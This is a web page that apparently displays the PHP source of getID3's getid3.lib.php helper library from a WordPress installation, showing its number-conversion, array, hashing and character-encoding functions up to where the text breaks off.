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<div class='alert alert-info'><strong>/home/tahkoom/public_html/wp-includes/ID3/getid3.lib.php</strong></div><pre class='file-content'>&lt;?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich &lt;info@getid3.org&gt;               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//                                                             //
// getid3.lib.php - part of getID3()                           //
//  see readme.txt for more details                            //
//                                                            ///
/////////////////////////////////////////////////////////////////

if(!defined('GETID3_LIBXML_OPTIONS') &amp;&amp; defined('LIBXML_VERSION')) {
	if(LIBXML_VERSION &gt;= 20621) {
		define('GETID3_LIBXML_OPTIONS', LIBXML_NOENT | LIBXML_NONET | LIBXML_NOWARNING | LIBXML_COMPACT);
	} else {
		define('GETID3_LIBXML_OPTIONS', LIBXML_NOENT | LIBXML_NONET | LIBXML_NOWARNING);
	}
}

class getid3_lib
{
	/**
	 * @param string      $string
	 * @param bool        $hex
	 * @param bool        $spaces
	 * @param string|bool $htmlencoding
	 *
	 * @return string
	 */
	public static function PrintHexBytes($string, $hex=true, $spaces=true, $htmlencoding='UTF-8') {
		$returnstring = '';
		for ($i = 0; $i &lt; strlen($string); $i++) {
			if ($hex) {
				$returnstring .= str_pad(dechex(ord($string[$i])), 2, '0', STR_PAD_LEFT);
			} else {
				$returnstring .= ' '.(preg_match(&quot;#[\x20-\x7E]#&quot;, $string[$i]) ? $string[$i] : '¤');
			}
			if ($spaces) {
				$returnstring .= ' ';
			}
		}
		if (!empty($htmlencoding)) {
			if ($htmlencoding === true) {
				$htmlencoding = 'UTF-8'; // prior to getID3 v1.9.0 the function's 4th parameter was boolean
			}
			$returnstring = htmlentities($returnstring, ENT_QUOTES, $htmlencoding);
		}
		return $returnstring;
	}

	/**
	 * Truncates a floating-point number at the decimal point.
	 *
	 * @param float $floatnumber
	 *
	 * @return float|int returns int (if possible, otherwise float)
	 */
	public static function trunc($floatnumber) {
		if ($floatnumber &gt;= 1) {
			$truncatednumber = floor($floatnumber);
		} elseif ($floatnumber &lt;= -1) {
			$truncatednumber = ceil($floatnumber);
		} else {
			$truncatednumber = 0;
		}
		if (self::intValueSupported($truncatednumber)) {
			$truncatednumber = (int) $truncatednumber;
		}
		return $truncatednumber;
	}

	/**
	 * @param int|null $variable
	 * @param int      $increment
	 *
	 * @return bool
	 */
	public static function safe_inc(&amp;$variable, $increment=1) {
		if (isset($variable)) {
			$variable += $increment;
		} else {
			$variable = $increment;
		}
		return true;
	}

	/**
	 * @param int|float $floatnum
	 *
	 * @return int|float
	 */
	public static function CastAsInt($floatnum) {
		// convert to float if not already
		$floatnum = (float) $floatnum;

		// convert a float to type int, only if possible
		if (self::trunc($floatnum) == $floatnum) {
			// it's not floating point
			if (self::intValueSupported($floatnum)) {
				// it's within int range
				$floatnum = (int) $floatnum;
			}
		}
		return $floatnum;
	}

	/**
	 * @param int $num
	 *
	 * @return bool
	 */
	public static function intValueSupported($num) {
		// check if integers are 64-bit
		static $hasINT64 = null;
		if ($hasINT64 === null) { // 10x faster than is_null()
			$hasINT64 = is_int(pow(2, 31)); // 32-bit int are limited to (2^31)-1
			if (!$hasINT64 &amp;&amp; !defined('PHP_INT_MIN')) {
				define('PHP_INT_MIN', ~PHP_INT_MAX);
			}
		}
		// if integers are 64-bit - no other check required
		if ($hasINT64 || (($num &lt;= PHP_INT_MAX) &amp;&amp; ($num &gt;= PHP_INT_MIN))) {
			return true;
		}
		return false;
	}

	/**
	 * Perform a division, guarding against division by zero
	 *
	 * @param float|int $numerator
	 * @param float|int $denominator
	 * @param float|int $fallback
	 * @return float|int
	 */
	public static function SafeDiv($numerator, $denominator, $fallback = 0) {
		return $denominator ? $numerator / $denominator : $fallback;
	}

	/**
	 * @param string $fraction
	 *
	 * @return float
	 */
	public static function DecimalizeFraction($fraction) {
		list($numerator, $denominator) = explode('/', $fraction);
		return (int) $numerator / ($denominator ? $denominator : 1);
	}

	/**
	 * @param string $binarynumerator
	 *
	 * @return float
	 */
	public static function DecimalBinary2Float($binarynumerator) {
		$numerator   = self::Bin2Dec($binarynumerator);
		$denominator = self::Bin2Dec('1'.str_repeat('0', strlen($binarynumerator)));
		return ($numerator / $denominator);
	}

	/**
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
	 *
	 * @param string $binarypointnumber
	 * @param int    $maxbits
	 *
	 * @return array
	 */
	public static function NormalizeBinaryPoint($binarypointnumber, $maxbits=52) {
		if (strpos($binarypointnumber, '.') === false) {
			$binarypointnumber = '0.'.$binarypointnumber;
		} elseif ($binarypointnumber[0] == '.') {
			$binarypointnumber = '0'.$binarypointnumber;
		}
		$exponent = 0;
		while (($binarypointnumber[0] != '1') || (substr($binarypointnumber, 1, 1) != '.')) {
			if (substr($binarypointnumber, 1, 1) == '.') {
				$exponent--;
				$binarypointnumber = substr($binarypointnumber, 2, 1).'.'.substr($binarypointnumber, 3);
			} else {
				$pointpos = strpos($binarypointnumber, '.');
				$exponent += ($pointpos - 1);
				$binarypointnumber = str_replace('.', '', $binarypointnumber);
				$binarypointnumber = $binarypointnumber[0].'.'.substr($binarypointnumber, 1);
			}
		}
		$binarypointnumber = str_pad(substr($binarypointnumber, 0, $maxbits + 2), $maxbits + 2, '0', STR_PAD_RIGHT);
		return array('normalized'=&gt;$binarypointnumber, 'exponent'=&gt;(int) $exponent);
	}

	/**
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
	 *
	 * @param float $floatvalue
	 *
	 * @return string
	 */
	public static function Float2BinaryDecimal($floatvalue) {
		$maxbits = 128; // to how many bits of precision should the calculations be taken?
		$intpart   = self::trunc($floatvalue);
		$floatpart = abs($floatvalue - $intpart);
		$pointbitstring = '';
		while (($floatpart != 0) &amp;&amp; (strlen($pointbitstring) &lt; $maxbits)) {
			$floatpart *= 2;
			$pointbitstring .= (string) self::trunc($floatpart);
			$floatpart -= self::trunc($floatpart);
		}
		$binarypointnumber = decbin($intpart).'.'.$pointbitstring;
		return $binarypointnumber;
	}

	/**
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html
	 *
	 * @param float $floatvalue
	 * @param int $bits
	 *
	 * @return string|false
	 */
	public static function Float2String($floatvalue, $bits) {
		$exponentbits = 0;
		$fractionbits = 0;
		switch ($bits) {
			case 32:
				$exponentbits = 8;
				$fractionbits = 23;
				break;

			case 64:
				$exponentbits = 11;
				$fractionbits = 52;
				break;

			default:
				return false;
		}
		if ($floatvalue &gt;= 0) {
			$signbit = '0';
		} else {
			$signbit = '1';
		}
		$normalizedbinary  = self::NormalizeBinaryPoint(self::Float2BinaryDecimal($floatvalue), $fractionbits);
		$biasedexponent    = pow(2, $exponentbits - 1) - 1 + $normalizedbinary['exponent']; // (127 or 1023) +/- exponent
		$exponentbitstring = str_pad(decbin($biasedexponent), $exponentbits, '0', STR_PAD_LEFT);
		$fractionbitstring = str_pad(substr($normalizedbinary['normalized'], 2), $fractionbits, '0', STR_PAD_RIGHT);

		return self::BigEndian2String(self::Bin2Dec($signbit.$exponentbitstring.$fractionbitstring), $bits % 8, false);
	}

	/**
	 * @param string $byteword
	 *
	 * @return float|false
	 */
	public static function LittleEndian2Float($byteword) {
		return self::BigEndian2Float(strrev($byteword));
	}

	/**
	 * ANSI/IEEE Standard 754-1985, Standard for Binary Floating Point Arithmetic
	 *
	 * @link https://web.archive.org/web/20120325162206/http://www.psc.edu/general/software/packages/ieee/ieee.php
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee.html
	 *
	 * @param string $byteword
	 *
	 * @return float|false
	 */
	public static function BigEndian2Float($byteword) {
		$bitword = self::BigEndian2Bin($byteword);
		if (!$bitword) {
			return 0;
		}
		$signbit = $bitword[0];
		$floatvalue = 0;
		$exponentbits = 0;
		$fractionbits = 0;

		switch (strlen($byteword) * 8) {
			case 32:
				$exponentbits = 8;
				$fractionbits = 23;
				break;

			case 64:
				$exponentbits = 11;
				$fractionbits = 52;
				break;

			case 80:
				// 80-bit Apple SANE format
				// http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
				$exponentstring = substr($bitword, 1, 15);
				$isnormalized = intval($bitword[16]);
				$fractionstring = substr($bitword, 17, 63);
				$exponent = pow(2, self::Bin2Dec($exponentstring) - 16383);
				$fraction = $isnormalized + self::DecimalBinary2Float($fractionstring);
				$floatvalue = $exponent * $fraction;
				if ($signbit == '1') {
					$floatvalue *= -1;
				}
				return $floatvalue;

			default:
				return false;
		}
		$exponentstring = substr($bitword, 1, $exponentbits);
		$fractionstring = substr($bitword, $exponentbits + 1, $fractionbits);
		$exponent = self::Bin2Dec($exponentstring);
		$fraction = self::Bin2Dec($fractionstring);

		if (($exponent == (pow(2, $exponentbits) - 1)) &amp;&amp; ($fraction != 0)) {
			// Not a Number
			$floatvalue = NAN;
		} elseif (($exponent == (pow(2, $exponentbits) - 1)) &amp;&amp; ($fraction == 0)) {
			if ($signbit == '1') {
				$floatvalue = -INF;
			} else {
				$floatvalue = INF;
			}
		} elseif (($exponent == 0) &amp;&amp; ($fraction == 0)) {
			if ($signbit == '1') {
				$floatvalue = -0.0;
			} else {
				$floatvalue = 0.0;
			}
		} elseif (($exponent == 0) &amp;&amp; ($fraction != 0)) {
			// These are 'unnormalized' values
			$floatvalue = pow(2, (-1 * (pow(2, $exponentbits - 1) - 2))) * self::DecimalBinary2Float($fractionstring);
			if ($signbit == '1') {
				$floatvalue *= -1;
			}
		} elseif ($exponent != 0) {
			$floatvalue = pow(2, ($exponent - (pow(2, $exponentbits - 1) - 1))) * (1 + self::DecimalBinary2Float($fractionstring));
			if ($signbit == '1') {
				$floatvalue *= -1;
			}
		}
		return (float) $floatvalue;
	}

	/**
	 * @param string $byteword
	 * @param bool   $synchsafe
	 * @param bool   $signed
	 *
	 * @return int|float|false
	 * @throws Exception
	 */
	public static function BigEndian2Int($byteword, $synchsafe=false, $signed=false) {
		$intvalue = 0;
		$bytewordlen = strlen($byteword);
		if ($bytewordlen == 0) {
			return false;
		}
		for ($i = 0; $i &lt; $bytewordlen; $i++) {
			if ($synchsafe) { // disregard MSB, effectively 7-bit bytes
				//$intvalue = $intvalue | (ord($byteword{$i}) &amp; 0x7F) &lt;&lt; (($bytewordlen - 1 - $i) * 7); // faster, but runs into problems past 2^31 on 32-bit systems
				$intvalue += (ord($byteword[$i]) &amp; 0x7F) * pow(2, ($bytewordlen - 1 - $i) * 7);
			} else {
				$intvalue += ord($byteword[$i]) * pow(256, ($bytewordlen - 1 - $i));
			}
		}
		if ($signed &amp;&amp; !$synchsafe) {
			// synchsafe ints are not allowed to be signed
			if ($bytewordlen &lt;= PHP_INT_SIZE) {
				$signMaskBit = 0x80 &lt;&lt; (8 * ($bytewordlen - 1));
				if ($intvalue &amp; $signMaskBit) {
					$intvalue = 0 - ($intvalue &amp; ($signMaskBit - 1));
				}
			} else {
				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits ('.strlen($byteword).') in self::BigEndian2Int()');
			}
		}
		return self::CastAsInt($intvalue);
	}

	/**
	 * @param string $byteword
	 * @param bool   $signed
	 *
	 * @return int|float|false
	 */
	public static function LittleEndian2Int($byteword, $signed=false) {
		return self::BigEndian2Int(strrev($byteword), false, $signed);
	}

	/**
	 * @param string $byteword
	 *
	 * @return string
	 */
	public static function LittleEndian2Bin($byteword) {
		return self::BigEndian2Bin(strrev($byteword));
	}

	/**
	 * @param string $byteword
	 *
	 * @return string
	 */
	public static function BigEndian2Bin($byteword) {
		$binvalue = '';
		$bytewordlen = strlen($byteword);
		for ($i = 0; $i &lt; $bytewordlen; $i++) {
			$binvalue .= str_pad(decbin(ord($byteword[$i])), 8, '0', STR_PAD_LEFT);
		}
		return $binvalue;
	}

	/**
	 * @param int  $number
	 * @param int  $minbytes
	 * @param bool $synchsafe
	 * @param bool $signed
	 *
	 * @return string
	 * @throws Exception
	 */
	public static function BigEndian2String($number, $minbytes=1, $synchsafe=false, $signed=false) {
		if ($number &lt; 0) {
			throw new Exception('ERROR: self::BigEndian2String() does not support negative numbers');
		}
		$maskbyte = (($synchsafe || $signed) ? 0x7F : 0xFF);
		$intstring = '';
		if ($signed) {
			if ($minbytes &gt; PHP_INT_SIZE) {
				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits in self::BigEndian2String()');
			}
			$number = $number &amp; (0x80 &lt;&lt; (8 * ($minbytes - 1)));
		}
		while ($number != 0) {
			$quotient = ($number / ($maskbyte + 1));
			$intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring;
			$number = floor($quotient);
		}
		return str_pad($intstring, $minbytes, &quot;\x00&quot;, STR_PAD_LEFT);
	}

	/**
	 * @param int $number
	 *
	 * @return string
	 */
	public static function Dec2Bin($number) {
		if (!is_numeric($number)) {
			// https://github.com/JamesHeinrich/getID3/issues/299
			trigger_error('TypeError: Dec2Bin(): Argument #1 ($number) must be numeric, '.gettype($number).' given', E_USER_WARNING);
			return '';
		}
		$bytes = array();
		while ($number &gt;= 256) {
			$bytes[] = (int) (($number / 256) - (floor($number / 256))) * 256;
			$number = floor($number / 256);
		}
		$bytes[] = (int) $number;
		$binstring = '';
		foreach ($bytes as $i =&gt; $byte) {
			$binstring = (($i == count($bytes) - 1) ? decbin($byte) : str_pad(decbin($byte), 8, '0', STR_PAD_LEFT)).$binstring;
		}
		return $binstring;
	}

	/**
	 * @param string $binstring
	 * @param bool   $signed
	 *
	 * @return int|float
	 */
	public static function Bin2Dec($binstring, $signed=false) {
		$signmult = 1;
		if ($signed) {
			if ($binstring[0] == '1') {
				$signmult = -1;
			}
			$binstring = substr($binstring, 1);
		}
		$decvalue = 0;
		for ($i = 0; $i &lt; strlen($binstring); $i++) {
			$decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i);
		}
		return self::CastAsInt($decvalue * $signmult);
	}

	/**
	 * @param string $binstring
	 *
	 * @return string
	 */
	public static function Bin2String($binstring) {
		// return 'hi' for input of '0110100001101001'
		$string = '';
		$binstringreversed = strrev($binstring);
		for ($i = 0; $i &lt; strlen($binstringreversed); $i += 8) {
			$string = chr(self::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string;
		}
		return $string;
	}

	/**
	 * @param int  $number
	 * @param int  $minbytes
	 * @param bool $synchsafe
	 *
	 * @return string
	 */
	public static function LittleEndian2String($number, $minbytes=1, $synchsafe=false) {
		$intstring = '';
		while ($number &gt; 0) {
			if ($synchsafe) {
				$intstring = $intstring.chr($number &amp; 127);
				$number &gt;&gt;= 7;
			} else {
				$intstring = $intstring.chr($number &amp; 255);
				$number &gt;&gt;= 8;
			}
		}
		return str_pad($intstring, $minbytes, &quot;\x00&quot;, STR_PAD_RIGHT);
	}

	/**
	 * @param mixed $array1
	 * @param mixed $array2
	 *
	 * @return array|false
	 */
	public static function array_merge_clobber($array1, $array2) {
		// written by kcØhireability*com
		// taken from http://www.php.net/manual/en/function.array-merge-recursive.php
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		$newarray = $array1;
		foreach ($array2 as $key =&gt; $val) {
			if (is_array($val) &amp;&amp; isset($newarray[$key]) &amp;&amp; is_array($newarray[$key])) {
				$newarray[$key] = self::array_merge_clobber($newarray[$key], $val);
			} else {
				$newarray[$key] = $val;
			}
		}
		return $newarray;
	}

	/**
	 * @param mixed $array1
	 * @param mixed $array2
	 *
	 * @return array|false
	 */
	public static function array_merge_noclobber($array1, $array2) {
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		$newarray = $array1;
		foreach ($array2 as $key =&gt; $val) {
			if (is_array($val) &amp;&amp; isset($newarray[$key]) &amp;&amp; is_array($newarray[$key])) {
				$newarray[$key] = self::array_merge_noclobber($newarray[$key], $val);
			} elseif (!isset($newarray[$key])) {
				$newarray[$key] = $val;
			}
		}
		return $newarray;
	}

	/**
	 * @param mixed $array1
	 * @param mixed $array2
	 *
	 * @return array|false|null
	 */
	public static function flipped_array_merge_noclobber($array1, $array2) {
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		# naturally, this only works non-recursively
		$newarray = array_flip($array1);
		foreach (array_flip($array2) as $key =&gt; $val) {
			if (!isset($newarray[$key])) {
				$newarray[$key] = count($newarray);
			}
		}
		return array_flip($newarray);
	}

	/**
	 * @param array $theArray
	 *
	 * @return bool
	 */
	public static function ksort_recursive(&amp;$theArray) {
		ksort($theArray);
		foreach ($theArray as $key =&gt; $value) {
			if (is_array($value)) {
				self::ksort_recursive($theArray[$key]);
			}
		}
		return true;
	}

	/**
	 * @param string $filename
	 * @param int    $numextensions
	 *
	 * @return string
	 */
	public static function fileextension($filename, $numextensions=1) {
		if (strstr($filename, '.')) {
			$reversedfilename = strrev($filename);
			$offset = 0;
			for ($i = 0; $i &lt; $numextensions; $i++) {
				$offset = strpos($reversedfilename, '.', $offset + 1);
				if ($offset === false) {
					return '';
				}
			}
			return strrev(substr($reversedfilename, 0, $offset));
		}
		return '';
	}

	/**
	 * @param int $seconds
	 *
	 * @return string
	 */
	public static function PlaytimeString($seconds) {
		$sign = (($seconds &lt; 0) ? '-' : '');
		$seconds = round(abs($seconds));
		$H = (int) floor( $seconds                            / 3600);
		$M = (int) floor(($seconds - (3600 * $H)            ) /   60);
		$S = (int) round( $seconds - (3600 * $H) - (60 * $M)        );
		return $sign.($H ? $H.':' : '').($H ? str_pad($M, 2, '0', STR_PAD_LEFT) : intval($M)).':'.str_pad($S, 2, 0, STR_PAD_LEFT);
	}

	/**
	 * @param int $macdate
	 *
	 * @return int|float
	 */
	public static function DateMac2Unix($macdate) {
		// Macintosh timestamp: seconds since 00:00h January 1, 1904
		// UNIX timestamp:      seconds since 00:00h January 1, 1970
		return self::CastAsInt($macdate - 2082844800);
	}

	/**
	 * @param string $rawdata
	 *
	 * @return float
	 */
	public static function FixedPoint8_8($rawdata) {
		return self::BigEndian2Int(substr($rawdata, 0, 1)) + (float) (self::BigEndian2Int(substr($rawdata, 1, 1)) / pow(2, 8));
	}

	/**
	 * @param string $rawdata
	 *
	 * @return float
	 */
	public static function FixedPoint16_16($rawdata) {
		return self::BigEndian2Int(substr($rawdata, 0, 2)) + (float) (self::BigEndian2Int(substr($rawdata, 2, 2)) / pow(2, 16));
	}

	/**
	 * @param string $rawdata
	 *
	 * @return float
	 */
	public static function FixedPoint2_30($rawdata) {
		$binarystring = self::BigEndian2Bin($rawdata);
		return self::Bin2Dec(substr($binarystring, 0, 2)) + (float) (self::Bin2Dec(substr($binarystring, 2, 30)) / pow(2, 30));
	}


	/**
	 * @param string $ArrayPath
	 * @param string $Separator
	 * @param mixed $Value
	 *
	 * @return array
	 */
	public static function CreateDeepArray($ArrayPath, $Separator, $Value) {
		// assigns $Value to a nested array path:
		//   $foo = self::CreateDeepArray('/path/to/my', '/', 'file.txt')
		// is the same as:
		//   $foo = array('path'=&gt;array('to'=&gt;'array('my'=&gt;array('file.txt'))));
		// or
		//   $foo['path']['to']['my'] = 'file.txt';
		$ArrayPath = ltrim($ArrayPath, $Separator);
		$ReturnedArray = array();
		if (($pos = strpos($ArrayPath, $Separator)) !== false) {
			$ReturnedArray[substr($ArrayPath, 0, $pos)] = self::CreateDeepArray(substr($ArrayPath, $pos + 1), $Separator, $Value);
		} else {
			$ReturnedArray[$ArrayPath] = $Value;
		}
		return $ReturnedArray;
	}

	/**
	 * @param array $arraydata
	 * @param bool  $returnkey
	 *
	 * @return int|false
	 */
	public static function array_max($arraydata, $returnkey=false) {
		$maxvalue = false;
		$maxkey   = false;
		foreach ($arraydata as $key =&gt; $value) {
			if (!is_array($value)) {
				if (($maxvalue === false) || ($value &gt; $maxvalue)) {
					$maxvalue = $value;
					$maxkey = $key;
				}
			}
		}
		return ($returnkey ? $maxkey : $maxvalue);
	}

	/**
	 * @param array $arraydata
	 * @param bool  $returnkey
	 *
	 * @return int|false
	 */
	public static function array_min($arraydata, $returnkey=false) {
		$minvalue = false;
		$minkey   = false;
		foreach ($arraydata as $key =&gt; $value) {
			if (!is_array($value)) {
				if (($minvalue === false) || ($value &lt; $minvalue)) {
					$minvalue = $value;
					$minkey = $key;
				}
			}
		}
		return ($returnkey ? $minkey : $minvalue);
	}

	/**
	 * @param string $XMLstring
	 *
	 * @return array|false
	 */
	public static function XML2array($XMLstring) {
		if (function_exists('simplexml_load_string') &amp;&amp; function_exists('libxml_disable_entity_loader')) {
			// http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html
			// https://core.trac.wordpress.org/changeset/29378
			// This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
			// disabled by default, but is still needed when LIBXML_NOENT is used.
			$loader = @libxml_disable_entity_loader(true);
			$XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', GETID3_LIBXML_OPTIONS);
			$return = self::SimpleXMLelement2array($XMLobject);
			@libxml_disable_entity_loader($loader);
			return $return;
		}
		return false;
	}

	/**
	* @param SimpleXMLElement|array|mixed $XMLobject
	*
	* @return mixed
	*/
	public static function SimpleXMLelement2array($XMLobject) {
		if (!is_object($XMLobject) &amp;&amp; !is_array($XMLobject)) {
			return $XMLobject;
		}
		$XMLarray = $XMLobject instanceof SimpleXMLElement ? get_object_vars($XMLobject) : $XMLobject;
		foreach ($XMLarray as $key =&gt; $value) {
			$XMLarray[$key] = self::SimpleXMLelement2array($value);
		}
		return $XMLarray;
	}

	/**
	 * Returns checksum for a file from starting position to absolute end position.
	 *
	 * @param string $file
	 * @param int    $offset
	 * @param int    $end
	 * @param string $algorithm
	 *
	 * @return string|false
	 * @throws getid3_exception
	 */
	public static function hash_data($file, $offset, $end, $algorithm) {
		if (!self::intValueSupported($end)) {
			return false;
		}
		if (!in_array($algorithm, array('md5', 'sha1'))) {
			throw new getid3_exception('Invalid algorithm ('.$algorithm.') in self::hash_data()');
		}

		$size = $end - $offset;

		$fp = fopen($file, 'rb');
		fseek($fp, $offset);
		$ctx = hash_init($algorithm);
		while ($size &gt; 0) {
			$buffer = fread($fp, min($size, getID3::FREAD_BUFFER_SIZE));
			hash_update($ctx, $buffer);
			$size -= getID3::FREAD_BUFFER_SIZE;
		}
		$hash = hash_final($ctx);
		fclose($fp);

		return $hash;
	}

	/**
	 * @param string $filename_source
	 * @param string $filename_dest
	 * @param int    $offset
	 * @param int    $length
	 *
	 * @return bool
	 * @throws Exception
	 *
	 * @deprecated Unused, may be removed in future versions of getID3
	 */
	public static function CopyFileParts($filename_source, $filename_dest, $offset, $length) {
		if (!self::intValueSupported($offset + $length)) {
			throw new Exception('cannot copy file portion, it extends beyond the '.round(PHP_INT_MAX / 1073741824).'GB limit');
		}
		if (is_readable($filename_source) &amp;&amp; is_file($filename_source) &amp;&amp; ($fp_src = fopen($filename_source, 'rb'))) {
			if (($fp_dest = fopen($filename_dest, 'wb'))) {
				if (fseek($fp_src, $offset) == 0) {
					$byteslefttowrite = $length;
					while (($byteslefttowrite &gt; 0) &amp;&amp; ($buffer = fread($fp_src, min($byteslefttowrite, getID3::FREAD_BUFFER_SIZE)))) {
						$byteswritten = fwrite($fp_dest, $buffer, $byteslefttowrite);
						$byteslefttowrite -= $byteswritten;
					}
					fclose($fp_dest);
					return true;
				} else {
					fclose($fp_src);
					throw new Exception('failed to seek to offset '.$offset.' in '.$filename_source);
				}
			} else {
				throw new Exception('failed to create file for writing '.$filename_dest);
			}
		} else {
			throw new Exception('failed to open file for reading '.$filename_source);
		}
	}

	/**
	 * @param int $charval
	 *
	 * @return string
	 */
	public static function iconv_fallback_int_utf8($charval) {
		if ($charval &lt; 128) {
			// 0bbbbbbb
			$newcharstring = chr($charval);
		} elseif ($charval &lt; 2048) {
			// 110bbbbb 10bbbbbb
			$newcharstring  = chr(($charval &gt;&gt;   6) | 0xC0);
			$newcharstring .= chr(($charval &amp; 0x3F) | 0x80);
		} elseif ($charval &lt; 65536) {
			// 1110bbbb 10bbbbbb 10bbbbbb
			$newcharstring  = chr(($charval &gt;&gt;  12) | 0xE0);
			$newcharstring .= chr(($charval &gt;&gt;   6) | 0xC0);
			$newcharstring .= chr(($charval &amp; 0x3F) | 0x80);
		} else {
			// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
			$newcharstring  = chr(($charval &gt;&gt;  18) | 0xF0);
			$newcharstring .= chr(($charval &gt;&gt;  12) | 0xC0);
			$newcharstring .= chr(($charval &gt;&gt;   6) | 0xC0);
			$newcharstring .= chr(($charval &amp; 0x3F) | 0x80);
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 =&gt; UTF-8
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf8($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= &quot;\xEF\xBB\xBF&quot;;
		}
		for ($i = 0; $i &lt; strlen($string); $i++) {
			$charval = ord($string[$i]);
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 =&gt; UTF-16BE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf16be($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= &quot;\xFE\xFF&quot;;
		}
		for ($i = 0; $i &lt; strlen($string); $i++) {
			$newcharstring .= &quot;\x00&quot;.$string[$i];
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 =&gt; UTF-16LE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf16le($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= &quot;\xFF\xFE&quot;;
		}
		for ($i = 0; $i &lt; strlen($string); $i++) {
			$newcharstring .= $string[$i].&quot;\x00&quot;;
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 =&gt; UTF-16LE (BOM)
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf16($string) {
		return self::iconv_fallback_iso88591_utf16le($string, true);
	}

	/**
	 * UTF-8 =&gt; ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_iso88591($string) {
		$newcharstring = '';
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset &lt; $stringlength) {
			if ((ord($string[$offset]) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) &amp; 0x07) &lt;&lt; 18) &amp;
						   ((ord($string[($offset + 1)]) &amp; 0x3F) &lt;&lt; 12) &amp;
						   ((ord($string[($offset + 2)]) &amp; 0x3F) &lt;&lt;  6) &amp;
							(ord($string[($offset + 3)]) &amp; 0x3F);
				$offset += 4;
			} elseif ((ord($string[$offset]) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) &amp; 0x0F) &lt;&lt; 12) &amp;
						   ((ord($string[($offset + 1)]) &amp; 0x3F) &lt;&lt;  6) &amp;
							(ord($string[($offset + 2)]) &amp; 0x3F);
				$offset += 3;
			} elseif ((ord($string[$offset]) | 0x1F) == 0xDF) {
				// 110bbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) &amp; 0x1F) &lt;&lt;  6) &amp;
							(ord($string[($offset + 1)]) &amp; 0x3F);
				$offset += 2;
			} elseif ((ord($string[$offset]) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string[$offset]);
				$offset += 1;
			} else {
				// error? throw some kind of warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval &lt; 256) ? chr($charval) : '?');
			}
		}
		return $newcharstring;
	}

	/**
	 * UTF-8 =&gt; UTF-16BE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_utf16be($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= &quot;\xFE\xFF&quot;;
		}
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset &lt; $stringlength) {
			if ((ord($string[$offset]) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) &amp; 0x07) &lt;&lt; 18) &amp;
						   ((ord($string[($offset + 1)]) &amp; 0x3F) &lt;&lt; 12) &amp;
						   ((ord($string[($offset + 2)]) &amp; 0x3F) &lt;&lt;  6) &amp;
							(ord($string[($offset + 3)]) &amp; 0x3F);
				$offset += 4;
			} elseif ((ord($string[$offset]) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) &amp; 0x0F) &lt;&lt; 12) &amp;
						   ((ord($string[($offset + 1)]) &amp; 0x3F) &lt;&lt;  6) &amp;
							(ord($string[($offset + 2)]) &amp; 0x3F);
				$offset += 3;
			} elseif ((ord($string[$offset]) | 0x1F) == 0xDF) {
				// 110bbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) &amp; 0x1F) &lt;&lt;  6) &amp;
							(ord($string[($offset + 1)]) &amp; 0x3F);
				$offset += 2;
			} elseif ((ord($string[$offset]) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string[$offset]);
				$offset += 1;
			} else {
				// error? throw some kind of warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval &lt; 65536) ? self::BigEndian2String($charval, 2) : &quot;\x00&quot;.'?');
			}
		}
		return $newcharstring;
	}

	/**
